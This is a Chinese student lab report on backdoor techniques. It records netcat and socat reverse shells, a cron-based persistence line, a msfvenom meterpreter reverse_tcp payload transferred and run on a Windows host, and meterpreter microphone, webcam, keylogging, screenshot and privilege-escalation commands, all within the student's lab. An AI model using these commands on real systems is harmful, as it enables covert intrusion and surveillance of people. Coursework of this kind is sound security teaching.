2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践
-
实验内容
-
(1)使用netcat获取主机操作Shell,cron启动
-
(2)使用socat获取主机操作Shell, 任务计划启动
-
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
-
-
常用后门工具
- netcat
- Win获得Linux Shell
- Linux获得Win Shell
- Meterpreter
- netcat
-
基础问题回答
-
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 通过浏览网页而不知不觉中自动下载的程序,像木马那样。
-
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- win通过修改注册表、设置为开机自启动;linux通过cron启动
-
(3)Meterpreter有哪些给你映像深刻的功能?
- 可以获取被控主机的摄像头权限,查询你的击键内容。
-
(4)如何发现自己有系统有没有被安装后门?
- 查看任务计划程序、开机自启动项、注册表项中是否有可疑程序;使用防火墙、杀毒软件。定期对电脑进行安全扫描。
-
-
实践过程记录
实验前期准备
netcat:Windows获得Linux Shell
- 使用
ipconfig
查看win7网络地址 - 使用
ncat.exe
程序监听本机的5301
端口ncat.exe -l -p 5301
- 在Kali环境下,使用
nc 192.168.1.192 5301 -e /bin/sh
成功获得Kali的shell,如下图所示
Linux获得Windows Shell
- 在kali中使用
ifconfig
查看IP,打开监听nc -l -p 5301
- 在Windows中反弹连接kali,
ncat.exe -e cmd.exe 192.168.216.130 5301
- kali成功获得Windows的命令提示
使用nc传输数据
- Windows下监听``5301
端口,
ncat.exe -l 5301``` - kali反弹连接到Windows的
5301
端口,nc 192.168.1.192 5301``` - 连接建立成功,双方可以相互传输数据
任务一:使用netcat获取主机操作Shell,cron启动
-
在Windows系统下,监听
5301
端口 -
在Kali环境下,用
crontab -e
指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了); -
在最后一行添加
01 * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh
,意思是在每个小时的第1分钟反向连接Windows主机的5301
端口
- 当时间到达时,win成功获取linux的shell
任务二:使用socat获取主机操作Shell, 任务计划启动
-
在Wiondws中搜索计算机管理,在弹出的窗口点击创建任务,填写任务名
exp2
,在任务栏下选择socat.exe
的路径,然后在参数栏填写tcp-listen:5301 exec:cmd.exe,pty,stderr
后,点击确定。在列表中右键选中刚刚创建的任务,点击运行。
-
windows+l
,锁定计算机,再启动已创建的任务。在linux的终端输入socket - tcp:192.168.1.192:5301
,此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 -f exe > 20165301_backdoor.exe
,注意这里的IP地址为控制端IP,即LinuxIP,可见已经生成了后门程序“20165301_backdoor.exe”
-
在Windows下执行
ncat.exe -l 5301 > 20165301_backdoor.exe
,这样被控主机就进入了接收文件模式
-
在Linux中执行
nc 172.20.10.3 5301 < 20165301_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP,文件传输成功
-
在Kali上使用
msfconsole
指令进入msf控制台
-
输入
use exploit/multi/handler
使用监听模块,设置payload -
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload -
set LHOST 192.168.216.130
,这里用的是LinuxIP,和生成后门程序时指定的IP相同 -
set LPORT 5301
,同样要使用相同的端口 -
输入
show options
,输入exploit
-
运行Windows下的后门程序
-
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用
record_mic
指令可以截获一段音频
-
使用
webcam_snap
指令可以使用摄像头进行拍照
-
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
-
使用
screenshot
指令可以进行截屏
-
先使用
getuid
令查看当前用户,使用etsystem
指令进行提权
-
实验总结与体会
- 本次实验室一次非常有趣的实验。在实践过程中我学会和如何运用ncat、socat进行攻击。在实验过程中我遇到的最严重的问题是在实验三中。最终生成的.exe程序无法运行,经过反复尝试,关闭了防火墙、杀毒软件,搞清楚输入谁的ip地址后,终于成功了。在攻击成功之后,也是我深刻地认识到了保护好计算机安全的重要性。